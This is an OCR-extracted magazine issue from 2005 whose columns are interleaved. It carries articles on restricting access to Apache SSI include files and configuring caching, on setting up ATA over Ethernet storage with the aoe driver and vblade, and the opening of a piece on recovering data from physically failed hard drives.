</html>
Например, можно разместить код шапки страницы, об- <!--#endif -->
щий для всех страниц, в отдельном файле:
Теперь, если клиент случайно или нарочно запросит на-
<!-- файл шапки head.shtml --> прямую документ head.shtml, то процессор SSI не обнаружит
<html>
<head> переменную окружения SSI_FLAG, сработает ветка else и по-
<title>Название</title> сетитель получит сообщение о загадочной ошибке 999.
</head>
<body> Если же документ head.shtml используется для вклю-
<h1>Название</h1> чения, то он обнаружит флаг, предварительно установлен-
<hr>
ный нами.
А потом подключать содержимое этого файла ко всем Такой подход может быть оправдан, если у вас нет ника-
документам: кой возможности влиять на настройки сервера. Но, как вы
видите, у него есть несколько недостатков.
<!--#include virtual="head.sthml" --> Во-первых, это усложнение кода, причём и включаю-
<p>Содержимое страницы</p>
</body> щего документа, и включаемого. Во-вторых, теперь, даже
</html> если включаемый документ содержит только статическую
информацию (как в нашем случае), мы всё равно обязаны
Это действительно значительно упрощает и разработ- обработать его SSI-интерпретатором. Естественно, это уве-
ку, и особенно поддержку. Ведь чтобы изменить дизайн за- личивает нагрузку на сервер.
головка на всех страницах, теперь достаточно отредакти-
ровать всего один файл. Ограничение доступа средствами сервера
Но возникает вопрос: как запретить пользователю про- Если у вас есть некоторые полномочия по конфигуриро-
сматривать SSI-«кирпичики», такие как head.ssi, отдельно ванию сервера, то можно обойтись гораздо меньшей кро-
от результирующего документа? Обычно, когда необходимо вью.
надёжно скрыть какие-то файлы от посетителя, их просто Во-первых, вернёмся к прежней, простой версии шап-
размещают за пределами части файловой системы, доступ- ки, но переименуем файл, скажем, в head.inc:
ной для сервера. Это идеальное решение, но оно не при-
менимо для нашей задачи, так как SSI позволяет включать <!-- файл шапки head.inc -->
<html>
только файлы, потенциально доступные посетителю. Иначе <head>
SSI представлял бы немалую угрозу безопасности. <title>Название</title>
</head>
Можно предложить множество решений, которые по су- <body>
ти будут являться лишь различными комбинациями двух <h1>Название</h1>
<hr>
«полярных» приёмов. Давайте рассмотрим эти два «по-
лярных» решения. Во включаемом файле тоже изменим имя файла-шап-
ки:
Ограничение доступа средствами SSI
Проблему можно решить, используя только средства SSI. <!--#include virtual="head.inc" -->
<p>Содержимое страницы</p>
Для этого воспользуемся тем, что переменные окруже- </body>
ния основного документа доступны и вставляемому до- </html>
кументу.
Давайте создадим в основном документе переменную- А теперь настроим сервер так, чтобы он не показывал
флажок: посетителю файлы с расширением .inc.
Для определённости мы будем рассматривать на-
<!--#set var="SSI _ FLAG" value="YES" --> стройки применительно к файлу локальной конфигурации

№9, сентябрь 2005 71


web
.htaccess. Естественно, все упоминаемые директивы мо- ку, запросив ресурс head.inc?index.sthml. Кроме того, воз-
гут быть использованы и в файлах глобальных настроек, можны недоразумения при передаче строки запроса. На-
таких как httpd.conf. пример, такие: index.sthml?var=head.inc. Пользователь за-
Нам понадобится всего две директивы: просил обычный STHML-документ, но REQUEST_URI всё-
таки заканчивается на .inc, и в доступе будет отказано.
SetEnvIf Request _ URI "\.inc$" ssi _ part Этого недостатка лишена переменная DOCUMENT_URI;
Deny from env=ssi _ part
используйте её.
! SetEnvIf – принадлежит к группе FileInfo. Она позволя- Однако даже использование DOCUMENT_URI не избав-
ет устанавливать переменные окружения, руководству- ляет от проблем с trailing-путями, которые являются голо-
ясь некоторыми условиями. Как видите, мы тестируем вной болью обоих подходов (и, естественно, любых комби-
запрашиваемый URI на предмет его совпадения с регу- наций этих подходов). Давайте рассмотрим этот наиболее
лярным выражением \.inc$. То есть мы проверяем, за- сложный момент на примере второго подхода – ограниче-
канчивается ли имя запрашиваемого документа симво- ние доступа средствами сервера.
лами .inc. Если это так, то сервер установит перемен-
ную ssi_part. Мы не указываем явно значения, по умол- Trailing-пути, <Files> и <FilesMatch>
чанию сервер присвоит ей строку «1». Обработка Request_URI не справляется с trailing-путями.
! Deny – принадлежит к группе Limit. Она запретит доступ Например, к файлу head.inc можно обратиться, как head.
к документу, если установлена переменная ssi_part. На- inc/index.shtml. Именно эта строка окажется в переменной
помню, что для правильной работы этих настроек вам Request_URI и в переменной DOCUMENT_URI. При этом на-
может понадобиться директива Order Allow,Deny, опи- ша проверка не сработает, а документ head.inc будет вы-
сание которой выходит за рамки этой статьи. Если у вас дан клиенту.
нет опыта использования директив Order, Allow и Deny, Своеобразное решение этой проблемы предлагает
обратитесь к документации на Apache. Apache версии 2.0. Дело в том, что по умолчанию Apache 2.0
теперь не обслуживает trailing-пути и переменную PATH_
Переменную ssi_part можно использовать в обработчике INFO для SSI-документов. 1.3-образное поведение можно
ошибки 403. Именно эта ошибка будет возникать при сра- вернуть с помощью специальной директивы AcceptPathInfo.
батывании директивы Deny. Для надёжного решения в Apapche 1.3 так и хочется исполь-
Как видите, мы вернули документам прежний, предель- зовать секцию <Files> или <FilesMatch>:
но простой вид и решили поставленную задачу по ограни-
чению доступа. <FilesMatch "\.(inc|ssi)$">
Deny from all
Можно поступить ещё проще. Создать отдельную ди- </FilesMatch>
ректорию для SSI-«кирпичиков» и разместить в ней файл
.htaccess следующего содержания: На этот раз мы проверяем именно имя файла, и, каза-
лось бы, теперь мы точно заблокировали просмотр фай-
SetEnv ssi _ part лов с расширениями .inc и .ssi. Но наша блокировка ока-
Deny from env=ssi _ part
зывается слишком жёсткой. Мы запретили доступ к этим
Теперь все файлы, находящиеся в этой директории, файлам и для SSI-интерпретатора. Теперь он тоже не смо-
будут недоступны, так сказать, безусловно – независимо жет получить их.
от расширения файла и прочего. Чтобы застраховаться от trailing-путей, можно добавить
Такой подход оправдан, если вы оперируете с большим ещё одну проверку:
количеством SSI-компонентов. Тогда действительно удобно
обособить их в отдельной директории. Если же таких ком- SetEnvIf Request _ URI "\.inc/" ssi _ part
понентов один-два, то, возможно, и не стоит «городить ого-
род». Выбор за вами. Правда, при этом мы получили неприятный побочный
эффект – запретили доступ ко всем файлам, расположен-
Промежуточные решения ным в директориях с расширениями .inc. Думаю, однако,
На базе двух предложенных решений можно составить мно- что это не большая потеря.
жество промежуточных подходов. Скажем, если по прави- Аналогичным образом можно поступить и анализируя
лам хостинга изменять настройки группы Limit запрещено переменную DOCUMENT_URI средствами SSI, если вы ис-
(то есть директива Deny недоступна), но вы имеете право пользуете некий комбинированный поход.
использовать директиву SetEnvIf (она, напомню, принадле-
жит к группе FileInfo), то устанавливать флаг можно средс- Регламентируем обработку
твами сервера, а проверять его значение – средствами SSI. Давайте рассмотрим более реалистичный пример исполь-
Это позволит упростить код включающего документа. зования SSI. Пусть ко всем страницам будет подключать-
Средствами SSI можно проверять и адрес документа, ся общий заголовок и общее завершение. Причём заголо-
но здесь надо быть осторожным. Дело в том, что перемен- вок будет не совсем статичный:
ная REQUEST_URI содержит и строку запроса. То есть если
вы проверяете, заканчивается ли REQUEST_URI подстро- <!-- файл шапки head.ssi -->
<html>
кой .inc, то злоумышленник может обмануть вашу провер- <head>

72
web
<title><!--#echo var="page _ name" --></title> то изменяя его атрибуты. Но есть у директивы XBitHack
</head> и большой минус – её невозможно использовать, если фай-
<body>
<h1><!--#echo var="page _ name" --></h1> ловая система не допускает атрибут x. То есть под Windows
<hr> эта директива абсолютно бесполезна.
Завершение будет статичным:
Регламентируем кэширование
<!-- файл завершения tail.inc --> По понятным причинам сервер не выдаёт для SSI-доку-
<hr>
</body> ментов HTTP-заголовки Last-Modified и ETag, что практи-
</html> чески полностью исключает возможность их кэширова-
ния. Это не всегда полезно, например, если информация
Подключающие документы будут иметь вид: обновляется раз в неделю, то кэширование на час-два сов-
сем не помешало бы.
<!--#set var="page _ name" value="название" --> К счастью, сервер может выдавать информацию о том,
<!--#include virtual="head.ssi" -->
<p>Содержимое страницы</p> до какого времени данный документ сохранит свою акту-
<!--#include virtual="tail.inc" --> альность. Передаётся она в HTTP-заголовке Expires. Управ-
лять ею можно при помощи трёх директив: ExpiresActive,
Как видите, документ head.ssi должен быть обработан ExpiresByType и ExpiresDefault.
SSI-интерпретатором, но документ tail.inc полностью ста- Директива ExpiresActive допускает два значения аргу-
тичен и в такой обработке не нуждается. Как сэкономить мента: on или off. Она разрешает или запрещает генери-
ресурсы сервера и производить обработку только там, рование заголовка Expires. Обратите внимание: даже ес-
где это необходимо? ли заголовок Expires разрешён, он не будет генерировать-
Мы не случайно дали включаемым файлам разные рас- ся, если он не определён для документа данного MIME-
ширения. Теперь ответ прост: надо включить механизм SSI типа. Обратное также верно: если заголовок определён,
для файлов с расширением .ssi, и только для них. Для этого но его генерация не разрешена, то, естественно, тоже не
используем следующие конфигурационные директивы: будет генерироваться.
Директива ExpiresByType описывает, как именно долж-
AddHandler server-parsed .ssi но вычисляться время актуальности документа данного
AddType text/html .ssi
MIME-типа. Самый простой синтаксис таков:
Первая – включает SSI-интерпретатор для .ssi-файлов.
Вторая – ассоциирует их с MIME-типом text/html; это чисто ExpiresByType MIME-тип <A/M>секунды
косметическая мера, SSI-интерпретатор не обращает вни-
мания на MIME-тип включаемой информации; эту директи- Буква A означает, что заданное количество секунд сле-
ву можно и опустить. дует прибавить к текущему времени. Буква M – к дате со-
Конечно, мы предполагаем, что SSI-интерпретация раз- здания/модификации файла.
решена директивой Options: То есть, чтобы файлы типа text/html сохранялись в кэше
в течение часа, директива должна выглядеть так:
Options +Includes
ExpiresByType text/html A3600
Следует также добавить, что такой вариант подключе-
ния SSI справедлив для Apache 1.3. В Apache 2.0 указанные Время может быть задано и в более «читабельной» фор-
директивы будут работать точно так же, потому что разра- ме, например:
ботчики позаботились об обратной совместимости. Одна-
ко на самом деле механизм SSI в Apache 2.0 реализован ExpiresByType text/html "access plus 1 hours"
принципиально иначе (в виде фильтра) и «правильно» под-
ключается иначе. В этой статье я не буду касаться специ- Если такая форма записи представляется вам более
фики Apache 2.0, все приведённые примеры будут рабо- удобной, обратитесь за подробным описанием к докумен-
тать одинаково на обоих версиях сервера, но я бы совето- тации на Apache. Никаких дополнительных преимуществ
вал пользователям второй версии хотя бы бегло просмот- эта форма записи не даёт.
реть документацию – различий между версиями гораздо Директива ExpiresDefault описывает, как рассчитывать
больше, чем может показаться. время для документов, типы которых не были описаны яв-
Теперь файлы с расширением .ssi будут обрабатывать- но с помощью ExpiresByType.
ся, а файлы .inc будут вставляться «как есть». Кстати, мож-
но было бы и для них прописать MIME-тип. Предостережения
Если переименовать все файлы затруднительно, то мож- Стоит сделать два предостережения.
но воспользоваться директивой XBitHack on. Она, как вы, на- Во-первых, ExpiresByType – очень мощное средство.
верно, знаете, предписывает SSI-интерпретатору обрабаты- Не забывайте, что большинство CGI-сценариев выдают тип
вать файлы с установленным битом исполняемости (бит x). документа text/html. Используя её, следует чётко понимать,
Это очень удобно, так как позволяет включать и выклю- что вы описываете кэширование для любого рода инфор-
чать SSI-интерпретацию файла, не меняя его имени, а прос- мации определённого MIME-типа. Представляете недоуме-

№9, сентябрь 2005 73


web
ние пользователей чата, если его страницы будут кэширо- Последние четыре строки включают заголовок Expires
ваться на полчасика? для .lsthml-файлов.
«Привязаться» к конкретному расширению файла мож- Таким образом в статье мы оговорили четыре типа фай-
но с помощью всё тех же блоков <Files> и <FilesMatch>. лов:
Во-вторых, не злоупотребляйте директивой ExpiresDefault. ! .shtml – подлежат SSI-обработке и просмотру – это обыч-
Помните, что её действие распространяется только на фай- ные SHTML-файлы;
лы, которые не были описаны директивой ExpiresByType. ! .lshtml – отличаются от обычных только тем, что кэши-
Может показаться, что достаточно разместить в .htaccess руются на час;
директиву: ! .ssi – подлежат обработке, но не просмотру – это дина-
мические SSI-«кирпичики»;
ExpiresDefault A3600 ! .inc – не подлежат ни обработке, ни просмотру – это ста-
тические SSI-«кирпичики».
и она обеспечит часовое кэширование и для HTML-доку-
ментов, и для различных картинок, и для zip-, и для mp3- Не забывайте, что можно отказаться от многих прове-
файлов, и для всего остального. Это действительно так, ес- рок, разместив файлы в разных директориях.
ли ранее не применялась ни одна директива ExpiresByType. В директории с обычными SHTML-файлами помещаем
Вы уверены, что администратор сервера не написал где- .htaccess следующего содержания:
нибудь в недрах httpd.conf что-то вроде этого?
Options +Includes
AddHandler server-parsed .shtml
ExpiresByType image/gif "access plus 1 weeks" AddType text/html .shtml
ExpiresByType image/jpeg "access plus 1 weeks"
ExpiresByType image/png "access plus 1 weeks"
В директории с «долгоиграющими» SHTML-докумен-
Если это так, то ваша директива ExpiresDefault не ока- тами:
жет никакого влияния на файлы перечисленных типов,
ведь для них правила уже оговорены. Options +Includes
AddHandler server-parsed .shtml
Поэтому старайтесь явно описывать каждый MIME-тип. AddType text/html .shtml
ExpiresActive on
ExpiresByType text/html A3600
Итого
Давайте подведём некоторые итоги и просуммируем ска- Мы, как видите, отказались от экзотического расшире-
занное. Удачной мне представляется следующая конфи- ния .lshtml в пользу классического .shtml. И создавать блок
гурация: <Files> нам не пришлось.
В директории с SSI-«кирпичиками», требующими до-
1: Options +Includes полнительной обработки, помещаем .htaccess со следую-
2: AddHandler server-parsed .shtml
3: AddType text/html .shtml щими директивами:
4: AddHandler server-parsed .lshtml
5: AddType text/html .lshtml Options +Includes
6: AddHandler server-parsed .ssi AddHandler server-parsed .shtml
7: SetEnvIf Request _ URI "\.inc$" ssi _ part AddType text/html .shtml
8: SetEnvIf Request _ URI "\.ssi$" ssi _ part SetEnv ssi _ part
9: SetEnvIf Request _ URI "\.inc/" ssi _ part Deny from env=ssi _ part
10: SetEnvIf Request _ URI "\.ssi/" ssi _ part
11: Deny from env=ssi _ part
12: <Files "*.lshtml"> Я и здесь отказался от расширения .ssi.
13: ExpiresActive on В этой же директории можно разместить и статичес-
14: ExpiresByType text/html A3600
15: </Files> кие SSI-компоненты, сообщив им любое расширение, кро-
ме .shtml (я бы предложил классическое .html или вовсе
Для удобства я пронумеровал строки, конечно, без расширения).
в .htaccess этой нумерации быть не должно. Опять же если вы активно используете аппарат SSI и уп-
В первой строке мы включаем SSI-интерпретатор. Очень равляете большим количеством файлов, то создание от-
может быть, что эта мера излишняя. В большинстве слу- дельных директорий может быть весьма кстати. Если же
чаев эта директива присутствует в глобальных настрой- этих файлов не много, то проще написать один большой
ках сервера. .htsaccess, положить его в корень сервера и на этом закон-
В строках 2-5 мы включаем SSI-обработку для файлов чить с настройками.
.shtml и .lshtml и назначаем им MIME-тип, соответственно. Наконец, опытные администраторы серверов могут
На этот раз указание MIME-типа является необходимой ме- включить настройки, подобные приведённым здесь, в сек-
рой, ведь эти файлы будут доступны посетителям сайта. ции <Directory>, <DirectoryMatch>, <Files>, <FilesMatch>,
В строке 6 включаем SSI-обработку для .ssi-файлов. <Location> или <LocationMatch>, разместить их в файлах
MIME-тип для них мы не оговариваем – эти файлы будут глобальных настроек и сообщить тем самым необходимые
не доступны для клиентов. настройки множеству виртуальных серверов на массовых
В строках 7-11 мы осуществляем всевозможные про- хостингах. Или по крайней мере избавиться от нескольких
верки и запрещаем непосредственный доступ к .ssi- и .inc- файлов .htaccess, собрав настройки для разных директо-
файлам. рий в одном месте.

74
сети

ПРОТОКОЛЫ СЕТЕЙ ХРАНЕНИЯ ДАННЫХ


ЧАСТЬ I – ATA OVER ETHERNET (AOE)

АНТОН БОРИСОВ
Задача современных систем обработки информации – надежное хранение данных. Сегодня
мы поговорим о SAN (Storage Area Networks), а если быть точнее, то о протоколах, которые
обеспечивают их надежность и безопасность обрабатываемых данных.

В
крупных компаниях SAN соединяет многочисленные терные файловые системы – GFS (Global File System) [2],
сервера к централизованному пулу дисков хранения. OCFS2 (Oracle Cluster File System) [3] и аналогичные.
По сравнению с администрированием сотни серве- На каких технологиях строятся современные SAN-се-
ров, где каждый из них имеет собственное дисковое хра- ти? Широкоизвестным видом является FiberChannel (опти-
нилище, сети SAN упрощают эксплуатацию и обслужива- ческий канал передачи данных). Название FiberChannel не
ние. Однако есть недостаток в использовании SAN – каж- должно вас пугать – этот тип соединения может быть реа-
дое устройство (дисковый массив) «принадлежит» серверу, лизован и на основе витой пары (см. Wikipedia [1]). Типич-
который инициировал соединение. В отличие от SAN этого ная сеть состоит из нескольких оптических коммутаторов,
недостатка нет у NAS (Network Attached Storage), где доступ которые соединены между собой и посредством HBA (Host
от многих серверов к одному файлу не блокируется и ин- Bus Adapter) подключены к дискам. Передача данных осно-
формация от такого взаимодействия не теряется. Впрочем, вана на протоколе SCSI. Не стоит говорить, что это самое
превратить SAN в NAS просто – следует использовать клас- дорогое решение.

76
сети

SAN (Storage Area Network) – сеть, спроектированная для подклю-


чения устройств хранения (дисковых массивов и магнитных лент)
к серверам. Характерно, что SAN отличается от других способов
сетевого хранения информации за счет использования методи-
ки блочного доступа. Фактически сервер запрашивает информа-
цию типа «блок X с диска Y». Передаваемая информация в SAN-
сетях очень похожа на ту, что циркулирует по шине данных в дис-
ках ATA и SCSI.

Конкурентом технологии FiberChannel является iSCSI- Рисунок 1. Заголовок ethernet-пакета для протокола AoE
протокол. Передача данных в этом случае производится назначена для обнаружения и управления AoE-устройства-
не по оптическим каналам, а по витой паре (ethernet). Сеть ми. Вот такой простой протокол получился.
в данном случае представлена ethernet-коммутатороми Итак, на данный момент доступны GPL-драйвера для
и UTP-кабелями категории 5e/6. Работа протокола iSCSI Linux 2.4, 2.6. В пакет ПО входят как модули (aoe-2.4.XX/
полагается на функционирование TCP/IP-протокола. aoe-2.6.YY), так и утилиты (aoetools) с виртуальным наносер-
Следующим протоколом, который используется при вером (vblade). С января этого года AoE-драйверы включе-
разработке SAN-сетей, является AoE (ATA over Ethernet). ны в поставку Linux-ядер версии 2.6. Поэтому, в случае ког-
ATA-протокол инкапсулируется в ethernet-кадры и в отли- да вы пересобираете Linux-ядро версии 2.6, можете смело
чие от iSCSI не предусмотрен для маршрутизации. Одна- выбрать компиляцию AoE – подсистемы. Также на сегод-
ко AoE обладает интересной реализацией обнаружения няшний день готовы порты для BSD-систем. В планах ком-
AoE-устройств. пании стоит выпуск драйверов и под Windows-платформу.
Наиболее перспективной и проработанной технологи- Что касается остальных UNIX-систем, то для них готовых
ей можно считать протокол HyperSCSI, который в некото- драйверов нет, по крайней мере сейчас.
рой степени похож на iSCSI, но не использует TCP/IP в ка-
честве своей основы. В заключительной части этого цик- Настройка модулей
ла статей я приведу результаты измерения скоростных ха- Ядро дистрибутива, на котором будут проводиться сегод-
рактеристик, а сейчас немного вас заинтригую – как ока- няшние испытания, – это Linux Kernel серии 2.4.
залось, AoE не самый быстрый протокол.
Сегодняшняя статья посвящена, пожалуй, самому мо- # wget aoe-2.4-3.tar.gz
# tar xzvf aoe-2.4-3.tar.gz
лодому и амбициозно продвигаемому протоколу – AoE (ATA # cd aoe-2.4-3
over Ethernet). Впервые о нем широко заговорили в 2004 го- # make && make install
ду. Компания – разработчик протокола и на сегодняшний
день единственный производитель устройств хранения ин- Примерный вывод должен быть таким:
формации, работающих с этим протоколом – Coraid Inc. [4].
Found kernel version 2.4.26
Коротко охарактеризовать данный протокол можно фра- Install directory is /lib/modules/2.4.26/kernel/net/aoe
зой – «ATA-команды инкапсулируются в ethernet-кадры». mkdir -p /lib/modules/2.4.26/kernel/net/aoe
Протокол уже получил свой номер в организации IANA, по- install -m 644 aoe.o /lib/modules/2.4.26/kernel/net/aoe
./mkdevs /dev/etherd
этому включение его поддержки в маршрутизаторы – дело Directory /dev/etherd exists, skipping devnode installation.
ближайшего времени. Хотя было бы наивно думать, что сам ./autoload
/sbin/depmod -a
по себе протокол будет поддержан всеми производителями
коммуникационного оборудования. Впрочем, немало зави- Подготовка AoE-модулей завершена. В /etc/modules.conf
сит и от настойчивости самой фирмы Coraid. прописаны параметры для устройств на основе AoE-протоко-
ла и созданы файлы устройств в директории /dev/etherd/.
Краткий экскурс в основу
протокола AoE alias block-major-152 aoe
alias char-major-152 aoe
Рассмотрим заголовок ethernet-пакета для протокола
AoE (см. рис. 1). Первые 14 байт в заголовке типичны для Следующий наш шаг – это подготовка виртуального
ethernet-пакета. Что же касается полей Ver, Flags, Error, наносервера (vblade). Дело в том, что Coraid Inc., помимо
то они детально расписаны в документации на протокол раздачи под GPL-лицензией драйверов для AoE, является
AoE [5]. и единственным производителем устройств хранения ин-
Содержимое поля Arg зависит от того, какую команду пе- формации EtherBlade, которые пока представлены только
редали в поле Command. Существует два варианта – «Вы- на рынке США и сопредельных государств. Однако, судя
полнить ATA-команду» (Command 0) и «Запросить конфи- по информации с сайта компании, идет процесс создания
гурационную информацию» (Command 1). Первая команда дистрибьюторской сети.
передается на сторону сервера, и ATA-устройство серве-
ра исполняет ATA-команды, которые скомпонованы в бло- Что из себя представляет EtherBlade?
ке Arg. Ethernet-пакет для протокола AoE запрещается раз- EtherBlade сегодня представлен двумя продуктами – это
бивать на более мелкие фрагменты. Вторая команда пред- шасси размеров 3U и 2U. В первом варианте «лезвия» хра-

№9, сентябрь 2005 77


сети
нятся 10 жестких дисков формата 3,5 дюйма. Во втором ва-
рианте уже используются 18 жестких дисков меньшего фор-
мата, а именно 2,5 дюйма. Если в самом начале карьеры
EtherBlade использовались PATA-диски, то сегодня выпус-
каются модификации для SATA-дисков. Внутри отдельного
лезвия находится контроллер памяти, процессор, ethernet-
порт (см. рис. 2). Каждое такое лезвие потребляет около
12 Ватт, и гигабайт его стоимости начинается от 1,75 $. Для
более тонкого варианта EtherBlade данные соответственно Рисунок 2. Структура единичного «лезвия»
следующие: 5,5 Вт и 7,06 $. Лезвия подключаются во вне-
шний 1-гигабитный свитч, который в свою очередь может
быть подключен в более скоростной 10-гигабитный. Таким
образом достигается масштабирование данного решения.
Чтобы не ждать поставки аппаратного «лезвия», мож-
но воспользоваться его виртуальным аналогом – програм-
мным vblade.
Настройка наносервера vblade.

# wget vblade-5.tar.gz
# tar xzvf vblade-5.tar.gz
# cd vblade-5.tar.gz
# make && make install Рисунок 3. EtherBlade
И это правильно, т.к. sysfs разработан в ядрах серии 2.6.
Получились 2 исполняемых файла – vblade и vbladed. Однако данный факт не помешает нам вручную узнать со-
Последний является обычным скриптом, который запус- стояние наносервера.
кает vblade. Его конструкция напоминает нижеследующий
вариант (параметры изменены): # cat /dev/etherd/stat

/dev/etherd/e9.0 eth0 up
# vblade 9 0 eth0 /dev/hda
Досадной мелочью (по крайней мере в драйверах 2.4)
где «9» – номер шасси, «0» – номер слота (диска или лез- является невозможность использовать отдельные разделы
вия), «eth0» – название интерфейса, по которому будет в случае, когда наносервер предоставляет для целей хра-
происходить обмен данными и «/dev/hda» – собственно ус- нения весь диск. Чтобы обойти это ограничение, создадим
тройство, которое в формате «AoE» делается доступным один раздел занимающий весь объем диска. Командная
по ethernet. строка для vblade будет выглядеть, например, так:
С другой машины, запустив там предварительно про-
цесс инсталляции драйвера AoE, мы увидим в /var/log/ # vblade 9 0 eth0 /dev/hda1
messages следующее:
В этом случае монтирование «лезвия» на удаленной ма-
aoe: aoe_init: AoE v2.4-3 initialised.
aoe: 000c6e784408 e9.0 v4000 has 80418240 sectors
шине не отличается от монтирования локального диска.

То есть устройство распознано драйвером AoE. Здорово. # mount /dev/etherd/e9.0 /mnt/tmp


Теперь запустив fdisk, мы увидим, что на нем находится:
У данного решения есть и минусы. За счет простоты ре-
# fdisk /dev/etherd/e9.0 ализации протокола увеличивается нагрузка на подсисте-
Command (m for help): p му ввода/вывода. Не проработана система шифрования
Disk /dev/etherd/e9.0: 41.1 GB, 41174138880 bytes трафика, передаваемого по сети. Как уже отмечалось вы-
255 heads, 63 sectors/track, 5005 cylinders ше, на рынке представлены только аппаратные продукты
Units = cylinders of 16065 * 512 = 8225280 bytes
одной компании.
В следующей части мы познакомимся с протоколом
Device Boot Start End Blocks Id System
/dev/etherd/e9.0p1 * 1 924 7421998+ b W95 FAT32
/dev/etherd/e9.0p2
/dev/etherd/e9.0p3
925
1218
1217
1439
2353491 7 HPFS/NTFS
1783183+ c W95 FAT32 (LBA)
iSCSI, узнаем, что такое «инициатор» и «iSCSI-target», поп-
/dev/etherd/e9.0p4 2493 4865 19061122+ f W95 Ext'd (LBA) робуем подключить Windows- и Linux-клиенты к серверу
/dev/etherd/e9.0p5 2493 4865 19061091 b W95 FAT32
с хранилищем данных по iSCSI-протоколу.
Все так и обстоит на самом деле – это действительно
структура удаленного хранилища, в нашем случае ATA-дис- Ссылки:
ка. Для получения статистики воспользуемся утилитой aoe- 1. http://wikipedia.org.
stat из пакета aoetools. 2. http://www.redhat.com/software/rha/gfs.
3. http://oss.oracle.com/projects/ocfs2.
# /usr/sbin/aoe-stat 4. http://www.coraid.com.
aoe-stat Error: sysfs is not mounted 5. http://www.coraid.com/documents/AoEr8.txt.

78
hardware-практикум

КАК СПАСТИ ДАННЫЕ,


ЕСЛИ ОТКАЗАЛ ЖЕСТКИЙ ДИСК

КРИС КАСПЕРСКИ
Вам уже известна методика восстановления логических разрушений (форматирование,
удаление файлов и т. д.) и теперь мы перейдем к самой сложной и ответственной части –
аппаратным отказам жесткого диска и путям их преодоления.

О
бъемы жестких дисков стреми- ров настоятельно отговаривают поль- алистами» сервис-центров. А для жи-
тельно растут, а их надежность зователей от самостоятельного ремон- телей глубинки никакие «центры» во-
неуклонно падает. С одной сто- та, а за ослушание карают либо удво- обще не доступны и приходится рас-
роны, поджимает плотность записи, енной (утроенной) ценой, либо же отка- считывать только на себя.
с другой – конкуренция. Повсеместно зываются от восстановления. И вовсе Мы будем говорить о восстанов-
применяются дешевые комплектующие не потому, что боятся, что клиент смо- лении данных. Ремонт винчестеров
и «сырые» технические решения, обка- жет обойтись без их помощи! Жест- (за исключением редких случаев) не-
тывать которые приходится конечному кий диск – очень сложное устройство. возможен или экономически нецелесо-
потребителю, то есть мне и вам. Залог Это не радиоприемник, который мож- образен. Нашей задачей будет времен-
безопасности данных – ежедневное ре- но отремонтировать и без знаний ра- ное восстановление работоспособнос-
зервирование (тем более что современ- диотехники! У работников сервисно- ти жесткого диска, достаточное лишь
ные съемные носители это позволяют), го центра есть оборудование, знания для копирования самых ценных дан-
однако, как показывает практика, даже и опыт. Через их руки прошли сотни ных, в идеале – всего диска целиком.
продвинутые специалисты (не говоря и тысячи винчестеров, поэтому шан-
уже о пользователях типа «секретар- сы на успешное восстановление дан- Что нам понадобится
ша») пренебрегают этой рекомендаци- ных здесь намного выше, чем у про- Непременным атрибутом серьезной
ей, ведь все «и так работает»… стого программиста или администра- фирмы была и остается «чистая ком-
После отказа винчестера данные тора, рыдающего над убитым диском. ната» с классом чистоты 100 (в од-
практически всегда можно спасти, ес- Это – теоретически. Практически же… ном кубическом футе воздуха содер-
ли действовать по плану. Если же пла- Цена за восстановление зачастую пе- жится не более 100 пылинок разме-
на нет, от «врачевания» лучше сразу реходит все границы, причем никаких ром 0,5 миллиметра). За этими неза-
отказаться. Неумелые попытки толь- гарантий на благоприятный исход все тейливыми словами скрывается гран-
ко затрудняют процедуру восстанов- равно нет. Известно немало случаев, диозное инженерное сооружение со
ления, а то и делают ее совсем невоз- когда кустари забесплатно поднима- стоимостью от 30 тыс. долларов. Ме-
можной. Сотрудники сервисных цент- ли винчестеры, угробленные «специ- нее серьезные ремонтники ограничи-

80
hardware-практикум
ваются «чистой камерой», что на поря- крыть крышкой, предварительно уда-
док дешевле, но для кустарных масте- лив попавшие пылинки с помощью
ров даже это неподъемно дорого. Мож- баллончика с воздухом для продув-
но ли обойтись без чистой комнаты или ки двигателей, который можно купить
соорудить ее самостоятельно? в автомагазине. Поскольку в трубке
Вопреки распространенным слу- образуется конденсат, первые порции
хам и опасениям – да, можно! Как ми- струи выпускаются в сторону от вин-
нимум достаточно обыкновенной не- честера и затем плавно направляют-
запыленной комнаты с работающим ся на диск. Другая неприятная особен-
кондиционером или даже без него. ность заключается в том, что баллон-
Также желательно обзавестись иони- чик нельзя встряхивать, иначе из него
затором (он вызывает слипание час- полезет белая непотребность, которая
тичек пыли, и они вместо того чтобы добьет диск окончательно. Сергей Яце-
Рисунок 1. Жесткие диски – так они
носиться по комнате, оседают на пол, нко подготовил видеоматериал, на ко- выглядят
откуда их удаляет нехитрая система тором все это наглядно проиллюстри-
вентиляции) (рис. 4). Хороший иони- ровано: http://pc3k.rsu.ru/video/video03_
затор стоит в пределах $500 – $1000, N40P_disk_swap.avi (157 Мб).
но при желании его можно сконструи- Продолжительная работа с «оголен-
ровать и самостоятельно. Взять хотя ной» гермозоной даже в чистой каме-
бы ту же «Люстру Чижевского», схему ре недопустима! Частицы пыли, при-
которой легко найти в старых журна- сутствующее в воздухе, сталкиваясь
лах «Радио», «Моделист-Конструктор» с бешено вращающейся пластиной,
или в Интернете. Естественно, непос- за короткий срок уничтожают магнит-
редственно перед проведением работ ное покрытие. На дисках со стеклян- Рисунок 2. Этому жесткому диску уже
ионизатор нужно выключать. ной подложкой (например, винчесте- ничто не поможет, но в большинстве
случаев их все-таки можно восстановить
При ремонте винчестеров на бо- рах типа DTLA) образуется настоящий
лее или менее постоянной основе име- «иллюминатор». Но ведь при вскрытии
ет смысл соорудить некоторое подо- гермоблока в него все равно попадает
бие чистой камеры. Для этого требу- пыль! Разве от закрытия крышки она
ется стеклянный аквариум, воздуш- исчезнет? По этому поводу вспомина-
ный фильтр и компрессор, нагнетаю- ется анекдот: «Вася, закрой форточку,
щий воздух внутрь аквариума и пре- на улице холодно! – От того, что я ее
пятствующий попаданию пыли через закрою на улице теплее не станет!»
открытую переднюю стенку. Да! Пе- Шутка. На самом деле внутри гермо-
редняя стенка остается открытой! Ак- блока расположен фильтр рециркуля-
вариум ставится на «бок», открытой ции, активно поглощающий попавшую
стороной на себя. Сверху закрепля- пыль, в результате чего ее концентра-
Рисунок 3. Чистая комната, в которой
ется стеклянная пластина, закрываю- ция быстро уменьшается до приемле- вскрывают гермоблоки жестких дисков
щая до 2/3 поверхности, а внутрь уста- мых значений. А вот при работе в сти-
навливается воздушный фильтр. Ком- ле «ню» концентрация пыли остается
прессор остается снаружи. Оставшая- постоянной (рис. 6). Другая причина –
